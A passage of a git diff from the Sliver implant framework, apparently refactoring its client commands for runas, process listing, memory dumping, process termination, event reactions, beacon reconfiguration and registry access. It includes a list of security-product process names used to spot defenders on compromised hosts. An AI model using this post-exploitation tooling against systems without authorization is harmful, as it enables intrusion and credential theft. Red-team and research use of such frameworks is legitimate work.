"github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RunAsCmd - Run a command as another user on the remote system -func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RunAsCmd - Run a command as another user on the remote system. +func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -66,13 +66,18 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin NetOnly: netonly, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) + return + } + + name, err := getName(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) return } - name := getName(session, beacon) if runAs.Response != nil && runAs.Response.Async { - con.AddBeaconCallback(runAs.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(runAs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, runAs) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -80,14 +85,13 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintRunAs(runAs, process, arguments, name, con) }) - con.PrintAsyncResponse(runAs.Response) } else { PrintRunAs(runAs, process, arguments, name, con) } } -// PrintRunAs - Print the result of run as -func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverConsoleClient) { +// PrintRunAs - Print the result of run as. +func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverClient) { if runAs.Response != nil && runAs.Response.GetErr() != "" { con.PrintErrorf("%s\n", runAs.Response.GetErr()) return @@ -95,12 +99,13 @@ func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con.PrintInfof("Successfully ran %s %s on %s\n", process, args, name) } -func getName(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getName(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.Name + return session.Name, nil } if beacon != nil { - return beacon.Name + return beacon.Name, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } diff --git a/client/command/processes/commands.go b/client/command/processes/commands.go new file mode 100644 index 0000000000..0610507d81 --- /dev/null +++ b/client/command/processes/commands.go @@ -0,0 +1,77 @@ +package processes + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + psCmd := &cobra.Command{ + Use: consts.PsStr, + Short: "List remote processes", + Long: help.GetHelpFor([]string{consts.PsStr}), + Run: func(cmd *cobra.Command, args []string) { + PsCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, psCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "filter based on pid") + f.StringP("exe", "e", "", "filter based on executable name") + f.StringP("owner", "o", "", "filter based on owner") + f.BoolP("print-cmdline", "c", false, "print command line arguments") + f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") + f.IntP("skip-pages", "S", 0, "skip the first n page(s)") + f.BoolP("tree", "T", false, "print process tree") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + procdumpCmd := &cobra.Command{ + Use: consts.ProcdumpStr, + Short: "Dump process memory", + Long: help.GetHelpFor([]string{consts.ProcdumpStr}), + Run: func(cmd *cobra.Command, args []string) { + ProcdumpCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, procdumpCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "target pid") + f.StringP("name", "n", "", "target process name") + f.StringP("save", "s", "", "save to file (will overwrite if exists)") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("loot-name", "N", "", "name to assign when adding the memory dump to the loot store (optional)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(procdumpCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) + + terminateCmd := &cobra.Command{ + Use: consts.TerminateStr, + Short: "Terminate a process on the remote system", + Long: help.GetHelpFor([]string{consts.TerminateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TerminateCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, terminateCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "disregard safety and kill the PID") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID")) + + return []*cobra.Command{psCmd, procdumpCmd, terminateCmd} +} diff --git a/client/command/processes/procdump.go b/client/command/processes/procdump.go index 107f868eb9..78e1b05610 100644 --- a/client/command/processes/procdump.go +++ b/client/command/processes/procdump.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ProcdumpCmd - Dump the memory of a remote process -func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProcdumpCmd - Dump the memory of a remote process. +func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -73,13 +73,13 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } hostname := getHostname(session, beacon) if dump.Response != nil && dump.Response.Async { - con.AddBeaconCallback(dump.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(dump.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, dump) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -93,7 +93,6 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st PrintProcessDump(dump, saveTo, hostname, pid, con) } }) - con.PrintAsyncResponse(dump.Response) } else { if saveLoot { LootProcessDump(dump, lootName, hostname, pid, con) @@ -105,8 +104,8 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintProcessDump - Handle the results of a process dump -func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverConsoleClient) { +// PrintProcessDump - Handle the results of a process dump. +func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverClient) { var err error var saveToFile *os.File if saveTo == "" { @@ -138,7 +137,7 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string { return "" } -func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) { +func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverClient) { timeNow := time.Now().UTC() dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405")) diff --git a/client/command/processes/ps.go b/client/command/processes/ps.go index 41e5821a63..d105b40cb8 100644 --- a/client/command/processes/ps.go +++ b/client/command/processes/ps.go @@ -36,7 +36,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// Stylizes known processes in the `ps` command +// Stylizes known processes in the `ps` command. var knownSecurityTools = map[string][]string{ // Process Name -> [Color, Stylized Name] "ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP) @@ -92,14 +92,10 @@ var knownSecurityTools = map[string][]string{ "eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security "ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security "efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security - "AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe - "CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe - "CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe - "CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe } -// PsCmd - List processes on the remote system -func PsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PsCmd - List processes on the remote system. +func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -108,12 +104,12 @@ func PsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } os := getOS(session, beacon) if ps.Response != nil && ps.Response.Async { - con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ps.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ps) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -126,7 +122,6 @@ func PsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", ")) } }) - con.PrintAsyncResponse(ps.Response) } else { PrintPS(os, ps, true, cmd.Flags(), con) products := findKnownSecurityProducts(ps) @@ -146,8 +141,8 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { return "" } -// PrintPS - Prints the process list -func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +// PrintPS - Prints the process list. +func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) { pidFilter, _ := flags.GetInt("pid") exeFilter, _ := flags.GetString("exe") ownerFilter, _ := flags.GetString("owner") @@ -175,6 +170,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) switch os { case "windows": @@ -225,8 +221,8 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string { return products } -// procRow - Stylizes the process information -func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row { +// procRow - Stylizes the process information. +func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row { session, beacon := con.ActiveTarget.GetInteractive() color := console.Normal @@ -300,8 +296,8 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console return row } -// GetPIDByName - Get a PID by name from the active session -func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverConsoleClient) int { +// GetPIDByName - Get a PID by name from the active session. +func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverClient) int { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) @@ -316,7 +312,7 @@ func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverConsoleCli return -1 } -// SortProcessesByPID - Sorts a list of processes by PID +// SortProcessesByPID - Sorts a list of processes by PID. func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process { sort.Slice(ps, func(i, j int) bool { return ps[i].Pid < ps[j].Pid diff --git a/client/command/processes/pstree.go b/client/command/processes/pstree.go index 044f65436b..6d06b07e2e 100644 --- a/client/command/processes/pstree.go +++ b/client/command/processes/pstree.go @@ -10,7 +10,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// A PsTree is a tree of *commonpb.Process +// A PsTree is a tree of *commonpb.Process. type PsTree struct { printableTree treeprint.Tree // only used for rendering implantPID int32 @@ -23,7 +23,7 @@ type node struct { Parent *node // The parent of this node } -// NewPsTree creates a new PsTree +// NewPsTree creates a new PsTree. func NewPsTree(pid int32) *PsTree { return &PsTree{ printableTree: treeprint.New(), diff --git a/client/command/processes/terminate.go b/client/command/processes/terminate.go index b00f35f804..a12bbe21fe 100644 --- a/client/command/processes/terminate.go +++ b/client/command/processes/terminate.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// TerminateCmd - Terminate a process on the remote system -func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TerminateCmd - Terminate a process on the remote system. +func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { con.PrintErrorf("No active session or beacon\n") @@ -52,12 +52,12 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s Force: force, }) if err != nil { - con.PrintErrorf("Terminate failed: %s", err) + con.PrintErrorf("Terminate failed: %s", con.UnwrapServerErr(err)) return } if terminated.Response != nil && terminated.Response.Async { - con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(terminated.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, terminated) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -65,14 +65,13 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintTerminate(terminated, con) }) - con.PrintAsyncResponse(terminated.Response) } else { PrintTerminate(terminated, con) } } -// PrintTerminate - Print the results of the terminate command -func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverConsoleClient) { +// PrintTerminate - Print the results of the terminate command. +func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverClient) { if terminated.Response != nil && terminated.Response.GetErr() != "" { con.PrintErrorf("%s\n", terminated.Response.GetErr()) } else { diff --git a/client/command/reaction/commands.go b/client/command/reaction/commands.go new file mode 100644 index 0000000000..6857ba8750 --- /dev/null +++ b/client/command/reaction/commands.go @@ -0,0 +1,107 @@ +package reaction + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + reactionCmd := &cobra.Command{ + Use: consts.ReactionStr, + Short: "Manage automatic reactions to events", + Long: help.GetHelpFor([]string{consts.ReactionStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + ReactionCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + + reactionSetCmd := &cobra.Command{ + Use: consts.SetStr, + Short: "Set a reaction to an event", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionSetCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionSetCmd) + flags.Bind("reactions", false, reactionSetCmd, func(f *pflag.FlagSet) { + f.StringP("event", "e", "", "specify the event type to react to") + }) + + completers.NewFlagCompsFor(reactionSetCmd, func(comp *carapace.ActionMap) { + (*comp)["event"] = carapace.ActionValues( + consts.SessionOpenedEvent, + consts.SessionClosedEvent, + consts.SessionUpdateEvent, + consts.BeaconRegisteredEvent, + consts.CanaryEvent, + consts.WatchtowerEvent, + ) + }) + + reactionUnsetCmd := &cobra.Command{ + Use: consts.UnsetStr, + Short: "Unset an existing reaction", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionUnsetCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionUnsetCmd) + flags.Bind("reactions", false, reactionUnsetCmd, func(f *pflag.FlagSet) { + f.IntP("id", "i", 0, "the id of the reaction to remove") + }) + completers.NewFlagCompsFor(reactionUnsetCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = ReactionIDCompleter(con) + }) + + reactionSaveCmd := &cobra.Command{ + Use: consts.SaveStr, + Short: "Save current reactions to disk", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionSaveCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionSaveCmd) + + reactionReloadCmd := &cobra.Command{ + Use: consts.ReloadStr, + Short: "Reload reactions from disk, replaces the running configuration", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionReloadCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionReloadCmd) + + return []*cobra.Command{reactionCmd} +} diff --git a/client/command/reaction/helpers.go b/client/command/reaction/helpers.go index dd6de74eb0..e438430a88 100644 --- a/client/command/reaction/helpers.go +++ b/client/command/reaction/helpers.go @@ -37,12 +37,12 @@ const ( ReactionFileName = "reactions.json" ) -// GetReactionFilePath - Get the +// GetReactionFilePath - Get the. func GetReactionFilePath() string { return path.Join(assets.GetRootAppDir(), ReactionFileName) } -// SaveReactions - Save the reactions to the reaction file +// SaveReactions - Save the reactions to the reaction file. func SaveReactions(reactions []core.Reaction) error { reactionFilePath := GetReactionFilePath() data, err := json.MarshalIndent(reactions, "", " ") @@ -52,7 +52,7 @@ func SaveReactions(reactions []core.Reaction) error { return os.WriteFile(reactionFilePath, data, 0o600) } -// LoadReactions - Save the reactions to the reaction file +// LoadReactions - Save the reactions to the reaction file. func LoadReactions() (int, error) { reactionFilePath := GetReactionFilePath() data, err := os.ReadFile(reactionFilePath) @@ -85,8 +85,8 @@ func isReactable(reaction core.Reaction) bool { return false } -// ReactionIDCompleter completes saved/available reaction IDs -func ReactionIDCompleter(_ *console.SliverConsoleClient) carapace.Action { +// ReactionIDCompleter completes saved/available reaction IDs. +func ReactionIDCompleter(_ *console.SliverClient) carapace.Action { results := make([]string, 0) for _, reaction := range core.Reactions.All() { diff --git a/client/command/reaction/reaction.go b/client/command/reaction/reaction.go index 2cd3cf0fa7..6c1de6065d 100644 --- a/client/command/reaction/reaction.go +++ b/client/command/reaction/reaction.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ReactionCmd - Manage reactions to events -func ReactionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionCmd - Manage reactions to events. +func ReactionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { totalReactions := 0 for _, eventType := range core.ReactableEvents { reactions := core.Reactions.On(eventType) @@ -49,9 +49,10 @@ func ReactionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) { +func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType))) tw.AppendSeparator() slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3 @@ -71,7 +72,7 @@ func displayReactionsTable(eventType string, reactions []core.Reaction, con *con con.Printf("%s\n", tw.Render()) } -// EventTypeToTitle - Convert an eventType to a more human friendly string +// EventTypeToTitle - Convert an eventType to a more human friendly string. func EventTypeToTitle(eventType string) string { switch eventType { diff --git a/client/command/reaction/reload.go b/client/command/reaction/reload.go index 37444ff854..806f4e38b0 100644 --- a/client/command/reaction/reload.go +++ b/client/command/reaction/reload.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ReactionSaveCmd - Manage reactions to events -func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionSaveCmd - Manage reactions to events. +func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) { con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath()) return diff --git a/client/command/reaction/save.go b/client/command/reaction/save.go index b98687bc8f..f04bf73af6 100644 --- a/client/command/reaction/save.go +++ b/client/command/reaction/save.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ReactionSaveCmd - Manage reactions to events -func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionSaveCmd - Manage reactions to events. +func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionPath := GetReactionFilePath() if _, err := os.Stat(reactionPath); !os.IsNotExist(err) { confirm := false diff --git a/client/command/reaction/set.go b/client/command/reaction/set.go index eb104615ce..93ae3f3d21 100644 --- a/client/command/reaction/set.go +++ b/client/command/reaction/set.go @@ -29,11 +29,11 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ErrNonReactableEvent - Event does not exist or is not supported by reactions +// ErrNonReactableEvent - Event does not exist or is not supported by reactions. var ErrNonReactableEvent = errors.New("non-reactable event type") -// ReactionSetCmd - Set a reaction upon an event -func ReactionSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionSetCmd - Set a reaction upon an event. +func ReactionSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { eventType, err := getEventType(cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -63,7 +63,7 @@ func ReactionSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ con.PrintInfof("Set reaction to %s (id: %d)\n", eventType, reaction.ID) } -func getEventType(cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func getEventType(cmd *cobra.Command, con *console.SliverClient) (string, error) { rawEventType, _ := cmd.Flags().GetString("event") if rawEventType == "" { return selectEventType(con) @@ -77,7 +77,7 @@ func getEventType(cmd *cobra.Command, con *console.SliverConsoleClient) (string, } } -func selectEventType(con *console.SliverConsoleClient) (string, error) { +func selectEventType(con *console.SliverClient) (string, error) { prompt := &survey.Select{ Message: "Select an event:", Options: core.ReactableEvents, diff --git a/client/command/reaction/unset.go b/client/command/reaction/unset.go index 7ffe541060..e45dfae3cf 100644 --- a/client/command/reaction/unset.go +++ b/client/command/reaction/unset.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ReactionUnsetCmd - Unset a reaction upon an event -func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionUnsetCmd - Unset a reaction upon an event. +func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionID, _ := cmd.Flags().GetInt("id") if reactionID == 0 { reaction, err := selectReaction(con) @@ -53,7 +53,7 @@ func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args con.Println() } -func selectReaction(con *console.SliverConsoleClient) (*core.Reaction, error) { +func selectReaction(con *console.SliverClient) (*core.Reaction, error) { outputBuf := bytes.NewBufferString("") table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) allReactions := core.Reactions.All() diff --git a/client/command/reconfig/commands.go b/client/command/reconfig/commands.go new file mode 100644 index 0000000000..5022c9acf3 --- /dev/null +++ b/client/command/reconfig/commands.go @@ -0,0 +1,47 @@ +package reconfig + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + reconfigCmd := &cobra.Command{ + Use: consts.ReconfigStr, + Short: "Reconfigure the active beacon/session", + Long: help.GetHelpFor([]string{consts.ReconfigStr}), + Run: func(cmd *cobra.Command, args []string) { + ReconfigCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("reconfig", false, reconfigCmd, func(f *pflag.FlagSet) { + f.StringP("reconnect-interval", "r", "", "reconnect interval for implant") + f.StringP("beacon-interval", "i", "", "beacon callback interval") + f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + renameCmd := &cobra.Command{ + Use: consts.RenameStr, + Short: "Rename the active beacon/session", + Long: help.GetHelpFor([]string{consts.RenameStr}), + Run: func(cmd *cobra.Command, args []string) { + RenameCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("rename", false, renameCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "change implant name to") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{reconfigCmd, renameCmd} +} diff --git a/client/command/reconfig/reconfig.go b/client/command/reconfig/reconfig.go index 2800d345f4..27fdda3506 100644 --- a/client/command/reconfig/reconfig.go +++ b/client/command/reconfig/reconfig.go @@ -22,17 +22,16 @@ import ( "context" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ReconfigCmd - Reconfigure metadata about a sessions -func ReconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReconfigCmd - Reconfigure metadata about a sessions. +func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -82,11 +81,11 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } if reconfig.Response != nil && reconfig.Response.Async { - con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(reconfig.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, reconfig) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -94,7 +93,6 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } con.PrintInfof("Reconfigured beacon\n") }) - con.PrintAsyncResponse(reconfig.Response) } else { con.PrintInfof("Reconfiguration complete\n") } diff --git a/client/command/reconfig/rename.go b/client/command/reconfig/rename.go index 7866036a50..295349d589 100644 --- a/client/command/reconfig/rename.go +++ b/client/command/reconfig/rename.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// RecnameCmd - Reconfigure metadata about a sessions -func RenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RecnameCmd - Reconfigure metadata about a sessions. +func RenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -55,7 +55,7 @@ func RenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Name: name, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/registry/commands.go b/client/command/registry/commands.go new file mode 100644 index 0000000000..fec21cf040 --- /dev/null +++ b/client/command/registry/commands.go @@ -0,0 +1,129 @@ +package registry + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + registryCmd := &cobra.Command{ + Use: consts.RegistryStr, + Short: "Windows registry operations", + Long: help.GetHelpFor([]string{consts.RegistryStr}), + GroupID: consts.InfoHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("registry", true, registryCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + registryReadCmd := &cobra.Command{ + Use: consts.RegistryReadStr, + Short: "Read values from the Windows registry", + Long: help.GetHelpFor([]string{consts.RegistryReadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegReadCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryReadCmd) + flags.Bind("", false, registryReadCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to read values from") + }) + carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryWriteCmd := &cobra.Command{ + Use: consts.RegistryWriteStr, + Short: "Write values to the Windows registry", + Long: help.GetHelpFor([]string{consts.RegistryWriteStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + RegWriteCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryWriteCmd) + flags.Bind("", false, registryWriteCmd, func(f *pflag.FlagSet) { 